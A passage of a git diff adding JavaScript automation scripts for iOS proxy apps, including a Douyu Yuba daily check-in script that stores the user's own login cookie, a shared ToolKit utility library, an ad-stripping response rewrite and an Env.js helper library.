t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}debug(...t){this.logLevels[this.logLevel]<=this.logLevels.debug&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.debug}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}info(...t){this.logLevels[this.logLevel]<=this.logLevels.info&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.info}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}warn(...t){this.logLevels[this.logLevel]<=this.logLevels.warn&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.warn}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}error(...t){this.logLevels[this.logLevel]<=this.logLevels.error&&(t.length>0&&(this.logs=[...this.logs,...t]),console.log(`${this.logLevelPrefixs.error}${t.map((t=>t??String(t))).join(this.logSeparator)}`))}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.map((t=>t??String(t))).join(this.logSeparator))}logErr(t,e){switch(this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:this.log("",`❗️${this.name}, 错误!`,e,t);break;case"Node.js":this.log("",`❗️${this.name}, 错误!`,e,void 0!==t.message?t.message:t,t.stack);break}}wait(t){return new Promise((e=>setTimeout(e,t)))}done(t={}){const e=((new Date).getTime()-this.startTime)/1e3;switch(this.log("",`🔔${this.name}, 结束! 🕛 ${e} 秒`),this.log(),this.getEnv()){case"Surge":case"Loon":case"Stash":case"Shadowrocket":case"Quantumult X":default:$done(t);break;case"Node.js":process.exit(1)}}}(t,e)} +//////////////////////////////// \ No newline at end of file diff --git a/Scripts/douyu/yubaSign.js b/Scripts/douyu/yubaSign.js new file mode 100644 index 00000000..13db6c91 --- /dev/null +++ b/Scripts/douyu/yubaSign.js @@ -0,0 +1,172 @@ +/** + * @auther @fmz200 + * @function 斗鱼鱼吧签到 + * @date 2024-01-15 21:00:00 + * @quote lowking + * @source https://raw.githubusercontent.com/lowking/Scripts/master/douyu/yubaSign.js + * @tips 打开https://yuba.douyu.com/homepage/hotwbs并登陆,打开获取cookie,刷新页面,提示获取鱼吧关注列表成功🎉 + */ + +const lk = new ToolKit(`斗鱼鱼吧签到`, `DouyuYubaSign`) +const config = { + cookieName: "CookieDY", + groupName: "GroupDY", + needUrl: { + // 登录后获取cookie + cookieUrl: "https://yuba.douyu.com/wbapi/web/group/myFollow", + // 关注鱼吧列表 + followRoomUrl: `https://yuba.douyu.com/wbapi/web/group/myFollow?page=1&limit=100×tamp=${Math.random()}`, + // 签到 + signUrl: `https://yuba.douyu.com/ybapi/topic/sign?timestamp=${Math.random()}` + }, + headers: { + "User-Agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36", + referer: "https://yuba.https://yuba.douyu.com/homepage/group.com", + origin: "https://yuba.douyu.com" + }, + expectData: { + status_code: 200, + message: "" + } +} + +if (!lk.isExecComm) { + if (lk.isRequest() && lk.isGetCookie(/\/wbapi\/web\/group\/myFollow/)) { + lk.log(`开始获取cookie`) + const {needUrl, cookieName} = config + lk.setVal(cookieName, $request.headers["Cookie"]) + getFollowYuBa() + } else { + all() + } +} + +var pcount = 0 +var arcount = 0 +var errorcount = 0 +async function all() { + lk.boxJsJsonBuilder() + console.log("签到即将开始,如果发现一次只能签到一个,可以执行多次❇️"); + await sign() + lk.prependNotifyInfo(`🎉【${pcount}】个,🔁【${arcount}】个,❌【${errorcount}】个`) + lk.msg(``) + lk.done() +} + +function getCsrf(str) { + const regex = /acf_yb_t=(.*?);/gm + const csrf = regex.exec(str) + return csrf.length > 1 ? csrf[1] : "" +} + +function sign() { + return new Promise(async (resolve, reject) => { + const { + headers, + groupName, + cookieName, + needUrl + } = config + const cookie = lk.getVal(cookieName) + headers["Cookie"] = cookie + headers["x-csrf-token"] = getCsrf(cookie) + headers["Content-Type"] = "application/x-www-form-urlencoded" + const groupList = JSON.parse(lk.getVal(groupName))["groupList"] + const params = { + url: needUrl.signUrl, + method: "POST", + headers + } + for (const groupItem of groupList) { + const group_id = groupItem["group_id"] + params["headers"]["referer"] = "https://yuba.douyu.com/group/" + group_id + params["body"] = `group_id=${group_id}&cur_exp=10000` + await sendRequest(params, groupItem) + await lk.sleep(5000) + } + resolve() + }) +} + +function sendRequest(params, groupItem) { + return new Promise(async (resolve, reject) => { + lk.post(params, (error, response, body) => { + try { + let content = "" + const res = JSON.parse(body) + const {status_code, message, data} = res + if (response.status == 200) { + if (status_code == "200" && message == "") { + pcount++ + content += `🎉【${groupItem["group_name"]}】[Lv${data["level"]}](${data["levelScore"]}/${data["exp"]})[${data["count"]}天]` + } else if (status_code == "1001") { + arcount++ + content += `🔁【${groupItem["group_name"]}】, ${message}` + } else { + errorcount++ + content += `❌【${groupItem["group_name"]}】[签到失败], ${message}` + lk.execFail() + } + lk.log(content) + lk.appendNotifyInfo(content) + } else { + errorcount++ + lk.execFail() + lk.log(`❌【${groupItem["group_name"]}】签到失败(网络请求错误)`) + lk.appendNotifyInfo(`❌【${groupItem["group_name"]}】签到失败(网络请求错误)`) + } + } catch (e) { + errorcount++ + lk.logErr(e) + lk.execFail() + lk.log(`❌【${groupItem["group_name"]}】签到失败`) + lk.appendNotifyInfo(`❌【${groupItem["group_name"]}】签到失败`) + } finally { + resolve() + } + }) + }) +} + +function getFollowYuBa() { + const { + headers, + cookieName, + groupName, + needUrl + } = config + headers["Cookie"] = lk.getVal(cookieName) + const options = { + url: needUrl.followRoomUrl, + method: "GET", + headers, + body: "" + } + lk.get(options, (error, response, data) => { + data = JSON.parse(data) + data = data.data + let content = "" + let groupList = [] + for (const yuba of data["list"]) { + groupList.push({ + group_id: yuba.group_id, + group_name: yuba.group_name + }) + content += `[${yuba.group_name}](${yuba.group_id})\n` + } + lk.appendNotifyInfo(`获取鱼吧关注列表成功🎉`) + lk.setVal( + groupName, + JSON.stringify({ + groupList + }) + ) + + lk.msg(``) + lk.done() + }) +} + +//ToolKit-start +function ToolKit(t,s,i){return new class{constructor(t,s,i){this.tgEscapeCharMapping={"&":"&","#":"#"};this.userAgent=`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.2 Safari/605.1.15`;this.prefix=`lk`;this.name=t;this.id=s;this.data=null;this.dataFile=this.getRealPath(`${this.prefix}${this.id}.dat`);this.boxJsJsonFile=this.getRealPath(`${this.prefix}${this.id}.boxjs.json`);this.options=i;this.isExecComm=false;this.isEnableLog=this.getVal(`${this.prefix}IsEnableLog${this.id}`);this.isEnableLog=this.isEmpty(this.isEnableLog)?true:JSON.parse(this.isEnableLog);this.isNotifyOnlyFail=this.getVal(`${this.prefix}NotifyOnlyFail${this.id}`);this.isNotifyOnlyFail=this.isEmpty(this.isNotifyOnlyFail)?false:JSON.parse(this.isNotifyOnlyFail);this.isEnableTgNotify=this.getVal(`${this.prefix}IsEnableTgNotify${this.id}`);this.isEnableTgNotify=this.isEmpty(this.isEnableTgNotify)?false:JSON.parse(this.isEnableTgNotify);this.tgNotifyUrl=this.getVal(`${this.prefix}TgNotifyUrl${this.id}`);this.isEnableTgNotify=this.isEnableTgNotify?!this.isEmpty(this.tgNotifyUrl):this.isEnableTgNotify;this.costTotalStringKey=`${this.prefix}CostTotalString${this.id}`;this.costTotalString=this.getVal(this.costTotalStringKey);this.costTotalString=this.isEmpty(this.costTotalString)?`0,0`:this.costTotalString.replace('"',"");this.costTotalMs=this.costTotalString.split(",")[0];this.execCount=this.costTotalString.split(",")[1];this.costTotalMs=this.isEmpty(this.costTotalMs)?0:parseInt(this.costTotalMs);this.execCount=this.isEmpty(this.execCount)?0:parseInt(this.execCount);this.logSeparator="\n██";this.now=new Date;this.startTime=this.now.getTime();this.node=(()=>{if(this.isNode()){const t=require("request");return{request:t}}else{return null}})();this.execStatus=true;this.notifyInfo=[];this.boxjsCurSessionKey="chavy_boxjs_cur_sessions";this.boxjsSessionsKey="chavy_boxjs_sessions";this.log(`${this.name}, 开始执行!`);this.execComm()}getRealPath(t){if(this.isNode()){let s=process.argv.slice(1,2)[0].split("/");s[s.length-1]=t;return s.join("/")}return t}async execComm(){if(!this.isNode()){return}this.comm=process.argv.slice(1);if(this.comm[1]!="p"){return}let t=false;this.isExecComm=true;this.log(`开始执行指令【${this.comm[1]}】=> 发送到其他终端测试脚本!`);if(this.isEmpty(this.options)||this.isEmpty(this.options.httpApi)){this.log(`未设置options,使用默认值`);if(this.isEmpty(this.options)){this.options={}}this.options.httpApi=`ffff@10.0.0.19:6166`}else{if(!/.*?@.*?:[0-9]+/.test(this.options.httpApi)){t=true;this.log(`❌httpApi格式错误!格式:ffff@3.3.3.18:6166`);this.done()}}if(!t){this.callApi(this.comm[2])}}callApi(t){let s=this.comm[0];let i=this.options.httpApi.split("@")[1];this.log(`获取【${s}】内容传给【${i}】`);let e="";this.fs=this.fs?this.fs:require("fs");this.path=this.path?this.path:require("path");const o=this.path.resolve(s);const h=this.path.resolve(process.cwd(),s);const r=this.fs.existsSync(o);const n=!r&&this.fs.existsSync(h);if(r||n){const t=r?o:h;try{e=this.fs.readFileSync(t)}catch(t){e=""}}else{e=""}let a={url:`http://${i}/v1/scripting/evaluate`,headers:{"X-Key":`${this.options.httpApi.split("@")[0]}`},body:{script_text:`${e}`,mock_type:"cron",timeout:!this.isEmpty(t)&&t>5?t:5},json:true};this.post(a,(t,e,o)=>{this.log(`已将脚本【${s}】发给【${i}】`);this.done()})}boxJsJsonBuilder(t,s){if(!this.isNode()){return}if(!this.isJsonObject(t)||!this.isJsonObject(s)){this.log("构建BoxJsJson传入参数格式错误,请传入json对象");return}let i="/Users/lowking/Desktop/Scripts/lowking.boxjs.json";if(s&&s.hasOwnProperty("target_boxjs_json_path")){i=s["target_boxjs_json_path"]}if(!this.fs.existsSync(i)){return}this.log("using node");let e=["settings","keys"];const o="https://raw.githubusercontent.com/Orz-3";let h={};let r="#lk{script_url}";if(s&&s.hasOwnProperty("script_url")){r=this.isEmpty(s["script_url"])?"#lk{script_url}":s["script_url"]}h.id=`${this.prefix}${this.id}`;h.name=this.name;h.desc_html=`⚠️使用说明
详情【点我查看】`;h.icons=[`${o}/mini/master/Alpha/${this.id.toLocaleLowerCase()}.png`,`${o}/mini/master/Color/${this.id.toLocaleLowerCase()}.png`];h.keys=[];h.settings=[{id:`${this.prefix}IsEnableLog${this.id}`,name:"开启/关闭日志",val:true,type:"boolean",desc:"默认开启"},{id:`${this.prefix}NotifyOnlyFail${this.id}`,name:"只当执行失败才通知",val:false,type:"boolean",desc:"默认关闭"},{id:`${this.prefix}IsEnableTgNotify${this.id}`,name:"开启/关闭Telegram通知",val:false,type:"boolean",desc:"默认关闭"},{id:`${this.prefix}TgNotifyUrl${this.id}`,name:"Telegram通知地址",val:"",type:"text",desc:"Tg的通知地址,如:https://api.telegram.org/bot-token/sendMessage?chat_id=-100140&parse_mode=Markdown&text="}];h.author="#lk{author}";h.repo="#lk{repo}";h.script=`${r}?raw=true`;if(!this.isEmpty(t)){for(let s of e){if(this.isEmpty(t[s])){break}if(s==="settings"){for(let i=0;i0)){return}let c=u.apps;let g=c.indexOf(c.filter(t=>{return t.id==h.id})[0]);if(g>=0){u.apps[g]=h}else{u.apps.push(h)}let d=JSON.stringify(u,null,2);if(!this.isEmpty(s)){for(const t in s){let i=s[t];if(!i){switch(t){case"author":i="@lowking";case"repo":i="https://github.com/lowking/Scripts";default:continue}}d=d.replace(`#lk{${t}}`,i)}}const y=/(?:#lk\{)(.+?)(?=\})/;let S=y.exec(d);if(S!==null){this.log(`生成BoxJs还有未配置的参数,请参考https://github.com/lowking/Scripts/blob/master/util/example/ToolKitDemo.js#L17-L19传入参数:`)}let m=new Set;while((S=y.exec(d))!==null){m.add(S[1]);d=d.replace(`#lk{${S[1]}}`,``)}m.forEach(t=>{console.log(`${t} `)});this.fs.writeFileSync(i,d)}isJsonObject(t){return typeof t=="object"&&Object.prototype.toString.call(t).toLowerCase()=="[object object]"&&!t.length}appendNotifyInfo(t,s){if(s==1){this.notifyInfo=t}else{this.notifyInfo.push(t)}}prependNotifyInfo(t){this.notifyInfo.splice(0,0,t)}execFail(){this.execStatus=false}isRequest(){return typeof $request!="undefined"}isSurge(){return typeof $httpClient!="undefined"}isQuanX(){return typeof $task!="undefined"}isLoon(){return typeof $loon!="undefined"}isJSBox(){return typeof $app!="undefined"&&typeof $http!="undefined"}isStash(){return"undefined"!==typeof $environment&&$environment["stash-version"]}isNode(){return typeof require=="function"&&!this.isJSBox()}sleep(t){return new Promise(s=>setTimeout(s,t))}log(t){if(this.isEnableLog)console.log(`${this.logSeparator}${t}`)}logErr(t){this.execStatus=true;if(this.isEnableLog){console.log(`${this.logSeparator}${this.name}执行异常:`);console.log(t);if(!t.message){return}console.log(`\n${t.message}`)}}msg(t,s,i,e){if(!this.isRequest()&&this.isNotifyOnlyFail&&this.execStatus){return}if(this.isEmpty(s)){if(Array.isArray(this.notifyInfo)){s=this.notifyInfo.join("\n")}else{s=this.notifyInfo}}if(this.isEmpty(s)){return}if(this.isEnableTgNotify){this.log(`${this.name}Tg通知开始`);for(let t in this.tgEscapeCharMapping){if(!this.tgEscapeCharMapping.hasOwnProperty(t)){continue}s=s.replace(t,this.tgEscapeCharMapping[t])}this.get({url:encodeURI(`${this.tgNotifyUrl}📌${this.name}\n${s}`)},(t,s,i)=>{this.log(`Tg通知完毕`)})}else{let o={};const h=!this.isEmpty(i);const r=!this.isEmpty(e);if(this.isSurge()||this.isLoon()||this.isStash()){if(h)o["url"]=i;$notification.post(this.name,t,s,o)}else if(this.isQuanX()){if(h)o["open-url"]=i;if(r)o["media-url"]=e;$notify(this.name,t,s,o)}else if(this.isNode()){this.log("⭐️"+this.name+"\n"+t+"\n"+s)}else if(this.isJSBox()){$push.schedule({title:this.name,body:t?t+"\n"+s:s})}}}getVal(t,s=""){let i;if(this.isSurge()||this.isLoon()||this.isStash()){i=$persistentStore.read(t)}else if(this.isQuanX()){i=$prefs.valueForKey(t)}else if(this.isNode()){this.data=this.loadData();i=process.env[t]||this.data[t]}else{i=this.data&&this.data[t]||null}return!i?s:i}updateBoxjsSessions(t,s){if(t==this.boxjsSessionsKey){return}const i=`${this.prefix}${this.id}`;let e=JSON.parse(this.getVal(this.boxjsCurSessionKey,"{}"));if(!e.hasOwnProperty(i)){return}let o=e[i];let h=JSON.parse(this.getVal(this.boxjsSessionsKey,"[]"));if(h.length==0){return}let r=[];h.forEach(t=>{if(t.id==o){r=t.datas}});if(r.length==0){return}let n=false;r.forEach(i=>{if(i.key==t){i.val=s;n=true}});if(!n){r.push({key:t,val:s})}h.forEach(t=>{if(t.id==o){t.datas=r}});this.setVal(this.boxjsSessionsKey,JSON.stringify(h))}setVal(t,s){if(this.isSurge()||this.isLoon()||this.isStash()){this.updateBoxjsSessions(t,s);return $persistentStore.write(s,t)}else if(this.isQuanX()){this.updateBoxjsSessions(t,s);return $prefs.setValueForKey(s,t)}else if(this.isNode()){this.data=this.loadData();this.data[t]=s;this.writeData();return true}else{return this.data&&this.data[t]||null}}loadData(){if(!this.isNode()){return{}}this.fs=this.fs?this.fs:require("fs");this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile);const s=this.path.resolve(process.cwd(),this.dataFile);const i=this.fs.existsSync(t);const e=!i&&this.fs.existsSync(s);if(i||e){const e=i?t:s;try{return JSON.parse(this.fs.readFileSync(e))}catch(t){return{}}}else{return{}}}writeData(){if(!this.isNode()){return}this.fs=this.fs?this.fs:require("fs");this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile);const s=this.path.resolve(process.cwd(),this.dataFile);const i=this.fs.existsSync(t);const e=!i&&this.fs.existsSync(s);const o=JSON.stringify(this.data);if(i){this.fs.writeFileSync(t,o)}else if(e){this.fs.writeFileSync(s,o)}else{this.fs.writeFileSync(t,o)}}adapterStatus(t){if(t){if(t.status){t["statusCode"]=t.status}else if(t.statusCode){t["status"]=t.statusCode}}return t}get(t,s=(()=>{})){if(this.isSurge()||this.isLoon()||this.isStash()){$httpClient.get(t,(t,i,e)=>{s(t,this.adapterStatus(i),e)})}else if(this.isQuanX()){if(typeof t=="string")t={url:t};t["method"]="GET";$task.fetch(t).then(t=>{s(null,this.adapterStatus(t),t.body)},t=>s(t.error,null,null))}else if(this.isNode()){this.node.request(t,(t,i,e)=>{s(t,this.adapterStatus(i),e)})}else if(this.isJSBox()){if(typeof t=="string")t={url:t};t["header"]=t["headers"];t["handler"]=function(t){let i=t.error;if(i)i=JSON.stringify(t.error);let e=t.data;if(typeof e=="object")e=JSON.stringify(t.data);s(i,this.adapterStatus(t.response),e)};$http.get(t)}}post(t,s=(()=>{})){if(this.isSurge()||this.isLoon()||this.isStash()){$httpClient.post(t,(t,i,e)=>{s(t,this.adapterStatus(i),e)})}else if(this.isQuanX()){if(typeof t=="string")t={url:t};t["method"]="POST";$task.fetch(t).then(t=>{s(null,this.adapterStatus(t),t.body)},t=>s(t.error,null,null))}else if(this.isNode()){this.node.request.post(t,(t,i,e)=>{s(t,this.adapterStatus(i),e)})}else if(this.isJSBox()){if(typeof t=="string")t={url:t};t["header"]=t["headers"];t["handler"]=function(t){let i=t.error;if(i)i=JSON.stringify(t.error);let e=t.data;if(typeof e=="object")e=JSON.stringify(t.data);s(i,this.adapterStatus(t.response),e)};$http.post(t)}}put(t,s=(()=>{})){if(this.isSurge()||this.isLoon()||this.isStash()){t.method="PUT";$httpClient.put(t,(t,i,e)=>{s(t,this.adapterStatus(i),e)})}else if(this.isQuanX()){if(typeof t=="string")t={url:t};t["method"]="PUT";$task.fetch(t).then(t=>{s(null,this.adapterStatus(t),t.body)},t=>s(t.error,null,null))}else if(this.isNode()){t.method="PUT";this.node.request.put(t,(t,i,e)=>{s(t,this.adapterStatus(i),e)})}else if(this.isJSBox()){if(typeof t=="string")t={url:t};t["header"]=t["headers"];t["handler"]=function(t){let i=t.error;if(i)i=JSON.stringify(t.error);let e=t.data;if(typeof e=="object")e=JSON.stringify(t.data);s(i,this.adapterStatus(t.response),e)};$http.post(t)}}costTime(){let t=`${this.name}执行完毕!`;if(this.isNode()&&this.isExecComm){t=`指令【${this.comm[1]}】执行完毕!`}const s=(new Date).getTime();const i=s-this.startTime;const e=i/1e3;this.execCount++;this.costTotalMs+=i;this.log(`${t}耗时【${e}】秒\n总共执行【${this.execCount}】次,平均耗时【${(this.costTotalMs/this.execCount/1e3).toFixed(4)}】秒`);this.setVal(this.costTotalStringKey,JSON.stringify(`${this.costTotalMs},${this.execCount}`))}done(t={}){this.costTime();if(this.isSurge()||this.isQuanX()||this.isLoon()||this.isStash()){$done(t)}}getRequestUrl(){return $request.url}getResponseBody(){return $response.body}isGetCookie(t){return!!($request.method!="OPTIONS"&&this.getRequestUrl().match(t))}isEmpty(t){return typeof t=="undefined"||t==null||t==""||t=="null"||t=="undefined"||t.length===0}randomString(t,s="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"){t=t||32;let i=s.length;let e="";for(let o=0;o { + if (isQuanX) $notify(title, subtitle, message); + if (isSurge) $notification.post(title, subtitle, message); + }; + const write = (value, key) => { + if (isQuanX) return $prefs.setValueForKey(value, key); + if (isSurge) return $persistentStore.write(value, key); + }; + const read = (key) => { + if (isQuanX) return $prefs.valueForKey(key); + if (isSurge) return $persistentStore.read(key); + }; + const adapterStatus = (response) => { + if (response) { + if (response.status) { + response["statusCode"] = response.status; + } else if (response.statusCode) { + response["status"] = response.statusCode; + } + } + return response; + }; + const get = (options, callback) => { + if (isQuanX) { + if (typeof options == "string") + options = { + url: options, + method: "GET" + }; + $task.fetch(options).then( + (response) => { + callback(null, adapterStatus(response), response.body); + }, + (reason) => callback(reason.error, null, null) + ); + } + if (isSurge) + $httpClient.get(options, (error, response, body) => { + callback(error, adapterStatus(response), body); + }); + }; + const post = (options, callback) => { + if (isQuanX) { + if (typeof options == "string") + options = { + url: options, + method: "POST" + }; + $task.fetch(options).then( + (response) => { + callback(null, adapterStatus(response), response.body); + }, + (reason) => callback(reason.error, null, null) + ); + } + if (isSurge) { + $httpClient.post(options, (error, response, body) => { + callback(error, adapterStatus(response), body); + }); + } + }; + const done = (value = {}) => { + if (isQuanX) return $done(value); + if (isSurge) isRequest ? $done(value) : $done(); + }; + return { + isRequest, + notify, + write, + read, + get, + post, + done + }; +} \ No newline at end of file diff --git a/Scripts/ems.js b/Scripts/ems.js new file mode 100644 index 00000000..016d9d69 --- /dev/null +++ b/Scripts/ems.js @@ -0,0 +1,3 @@ +let obj = JSON.parse($response.body); +obj.info.moduleJson = JSON.stringify(JSON.parse(obj.info.moduleJson).filter(item => !item.moduleName.includes("广告"))); +$done({body: JSON.stringify(obj)}); \ No newline at end of file diff --git a/Scripts/env/Env.js b/Scripts/env/Env.js new file mode 100644 index 00000000..e3432a00 --- /dev/null +++ b/Scripts/env/Env.js @@ -0,0 +1,894 @@ +function Env(name, opts) { + class Http { + constructor(env) { + this.env = env + } + + send(opts, method = 'GET') { + opts = typeof opts === 'string' ? { url: opts } : opts + let sender = this.get + if (method === 'POST') { + sender = this.post + } + + const delayPromise = (promise, delay = 1000) => { + return Promise.race([ + promise, + new Promise((resolve, reject) => { + setTimeout(() => { + reject(new Error('请求超时')) + }, delay) + }) + ]) + } + + const call = new Promise((resolve, reject) => { + sender.call(this, opts, (err, resp, body) => { + if (err) reject(err) + else resolve(resp) + }) + }) + + return opts.timeout ? delayPromise(call, opts.timeout) : call + } + + get(opts) { + return this.send.call(this.env, opts) + } + + post(opts) { + return this.send.call(this.env, opts, 'POST') + } + } + + return new (class { + constructor(name, opts) { + this.logLevels = { debug: 0, info: 1, warn: 2, error: 3 } + this.logLevelPrefixs = { + debug: '[DEBUG] ', + info: '[INFO] ', + warn: '[WARN] ', + error: '[ERROR] ' + } + this.logLevel = 'info' + this.name = name + this.http = new Http(this) + this.data = null + this.dataFile = 'box.dat' + this.logs = [] + this.isMute = false + this.isNeedRewrite = false + this.logSeparator = '\n' + this.encoding = 'utf-8' + this.startTime = new Date().getTime() + Object.assign(this, opts) + this.log('', `🔔${this.name}, 开始!`) + } + + getEnv() { + if ('undefined' !== typeof $environment && $environment['surge-version']) + return 'Surge' + if ('undefined' !== typeof $environment && $environment['stash-version']) + return 'Stash' + if ('undefined' !== typeof module && !!module.exports) return 'Node.js' + if ('undefined' !== typeof $task) return 'Quantumult X' + if ('undefined' !== typeof $loon) return 'Loon' + if ('undefined' !== typeof $rocket) return 'Shadowrocket' + } + + isNode() { + return 'Node.js' === this.getEnv() + } + + isQuanX() { + return 'Quantumult X' === this.getEnv() + } + + isSurge() { + return 'Surge' === this.getEnv() + } + + isLoon() { + return 'Loon' === this.getEnv() + } + + isShadowrocket() { + return 'Shadowrocket' === this.getEnv() + } + + isStash() { + return 'Stash' === this.getEnv() + } + + toObj(str, defaultValue = null) { + try { + return JSON.parse(str) + } catch { + return defaultValue + } + } + + toStr(obj, defaultValue = null, ...args) { + try { + return JSON.stringify(obj, ...args) + } catch { + return defaultValue + } + } + + getjson(key, defaultValue) { + let json = defaultValue + const val = this.getdata(key) + if (val) { + try { + json = JSON.parse(this.getdata(key)) + } catch {} + } + return json + } + + setjson(val, key) { + try { + return this.setdata(JSON.stringify(val), key) + } catch { + return false + } + } + + getScript(url) { + return new Promise((resolve) => { + this.get({ url }, (err, resp, body) => resolve(body)) + }) + } + + runScript(script, runOpts) { + return new Promise((resolve) => { + let httpapi = this.getdata('@chavy_boxjs_userCfgs.httpapi') + httpapi = httpapi ? httpapi.replace(/\n/g, '').trim() : httpapi + let httpapi_timeout = this.getdata( + '@chavy_boxjs_userCfgs.httpapi_timeout' + ) + httpapi_timeout = httpapi_timeout ? httpapi_timeout * 1 : 20 + httpapi_timeout = + runOpts && runOpts.timeout ? runOpts.timeout : httpapi_timeout + const [key, addr] = httpapi.split('@') + const opts = { + url: `http://${addr}/v1/scripting/evaluate`, + body: { + script_text: script, + mock_type: 'cron', + timeout: httpapi_timeout + }, + headers: { + 'X-Key': key, + 'Accept': '*/*' + }, + policy: 'DIRECT', + timeout: httpapi_timeout + } + this.post(opts, (err, resp, body) => resolve(body)) + }).catch((e) => this.logErr(e)) + } + + loaddata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require('fs') + this.path = this.path ? this.path : require('path') + const curDirDataFilePath = this.path.resolve(this.dataFile) + const rootDirDataFilePath = this.path.resolve( + process.cwd(), + this.dataFile + ) + const isCurDirDataFile = this.fs.existsSync(curDirDataFilePath) + const isRootDirDataFile = + !isCurDirDataFile && this.fs.existsSync(rootDirDataFilePath) + if (isCurDirDataFile || isRootDirDataFile) { + const datPath = isCurDirDataFile + ? curDirDataFilePath + : rootDirDataFilePath + try { + return JSON.parse(this.fs.readFileSync(datPath)) + } catch (e) { + return {} + } + } else return {} + } else return {} + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require('fs') + this.path = this.path ? this.path : require('path') + const curDirDataFilePath = this.path.resolve(this.dataFile) + const rootDirDataFilePath = this.path.resolve( + process.cwd(), + this.dataFile + ) + const isCurDirDataFile = this.fs.existsSync(curDirDataFilePath) + const isRootDirDataFile = + !isCurDirDataFile && this.fs.existsSync(rootDirDataFilePath) + const jsondata = JSON.stringify(this.data) + if (isCurDirDataFile) { + this.fs.writeFileSync(curDirDataFilePath, jsondata) + } else if (isRootDirDataFile) { + this.fs.writeFileSync(rootDirDataFilePath, jsondata) + } else { + this.fs.writeFileSync(curDirDataFilePath, jsondata) + } + } + } + + lodash_get(source, path, defaultValue = undefined) { + const paths = path.replace(/\[(\d+)\]/g, '.$1').split('.') + let result = source + for (const p of paths) { + result = Object(result)[p] + if (result === undefined) { + return defaultValue + } + } + return result + } + + lodash_set(obj, path, value) { + if (Object(obj) !== obj) return obj + if (!Array.isArray(path)) path = path.toString().match(/[^.[\]]+/g) || [] + path + .slice(0, -1) + .reduce( + (a, c, i) => + Object(a[c]) === a[c] + ? a[c] + : (a[c] = Math.abs(path[i + 1]) >> 0 === +path[i + 1] ? [] : {}), + obj + )[path[path.length - 1]] = value + return obj + } + + getdata(key) { + let val = this.getval(key) + // 如果以 @ + if (/^@/.test(key)) { + const [, objkey, paths] = /^@(.*?)\.(.*?)$/.exec(key) + const objval = objkey ? this.getval(objkey) : '' + if (objval) { + try { + const objedval = JSON.parse(objval) + val = objedval ? this.lodash_get(objedval, paths, '') : val + } catch (e) { + val = '' + } + } + } + return val + } + + setdata(val, key) { + let issuc = false + if (/^@/.test(key)) { + const [, objkey, paths] = /^@(.*?)\.(.*?)$/.exec(key) + const objdat = this.getval(objkey) + const objval = objkey + ? objdat === 'null' + ? null + : objdat || '{}' + : '{}' + try { + const objedval = JSON.parse(objval) + this.lodash_set(objedval, paths, val) + issuc = this.setval(JSON.stringify(objedval), objkey) + } catch (e) { + const objedval = {} + this.lodash_set(objedval, paths, val) + issuc = this.setval(JSON.stringify(objedval), objkey) + } + } else { + issuc = this.setval(val, key) + } + return issuc + } + + getval(key) { + switch (this.getEnv()) { + case 'Surge': + case 'Loon': + case 'Stash': + case 'Shadowrocket': + return $persistentStore.read(key) + case 'Quantumult X': + return $prefs.valueForKey(key) + case 'Node.js': + this.data = this.loaddata() + return this.data[key] + default: + return (this.data && this.data[key]) || null + } + } + + setval(val, key) { + switch (this.getEnv()) { + case 'Surge': + case 'Loon': + case 'Stash': + case 'Shadowrocket': + return $persistentStore.write(val, key) + case 'Quantumult X': + return $prefs.setValueForKey(val, key) + case 'Node.js': + this.data = this.loaddata() + this.data[key] = val + this.writedata() + return true + default: + return (this.data && this.data[key]) || null + } + } + + initGotEnv(opts) { + this.got = this.got ? this.got : require('got') + this.cktough = this.cktough ? this.cktough : require('tough-cookie') + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar() + if (opts) { + opts.headers = opts.headers ? opts.headers : {} + if (opts) { + opts.headers = opts.headers ? opts.headers : {} + if ( + undefined === opts.headers.cookie && + undefined === opts.headers.Cookie && + undefined === opts.cookieJar + ) { + opts.cookieJar = this.ckjar + } + } + } + } + + get(request, callback = () => {}) { + if (request.headers) { + delete request.headers['Content-Type'] + delete request.headers['Content-Length'] + + // HTTP/2 全是小写 + delete request.headers['content-type'] + delete request.headers['content-length'] + } + if (request.params) { + request.url += '?' + this.queryStr(request.params) + } + // followRedirect 禁止重定向 + if ( + typeof request.followRedirect !== 'undefined' && + !request['followRedirect'] + ) { + if (this.isSurge() || this.isLoon()) request['auto-redirect'] = false // Surge & Loon + if (this.isQuanX()) + request.opts + ? (request['opts']['redirection'] = false) + : (request.opts = { redirection: false }) // Quantumult X + } + switch (this.getEnv()) { + case 'Surge': + case 'Loon': + case 'Stash': + case 'Shadowrocket': + default: + if (this.isSurge() && this.isNeedRewrite) { + request.headers = request.headers || {} + Object.assign(request.headers, { 'X-Surge-Skip-Scripting': false }) + } + $httpClient.get(request, (err, resp, body) => { + if (!err && resp) { + resp.body = body + resp.statusCode = resp.status ? resp.status : resp.statusCode + resp.status = resp.statusCode + } + callback(err, resp, body) + }) + break + case 'Quantumult X': + if (this.isNeedRewrite) { + request.opts = request.opts || {} + Object.assign(request.opts, { hints: false }) + } + $task.fetch(request).then( + (resp) => { + const { + statusCode: status, + statusCode, + headers, + body, + bodyBytes + } = resp + callback( + null, + { status, statusCode, headers, body, bodyBytes }, + body, + bodyBytes + ) + }, + (err) => callback((err && err.error) || 'UndefinedError') + ) + break + case 'Node.js': + let iconv = require('iconv-lite') + 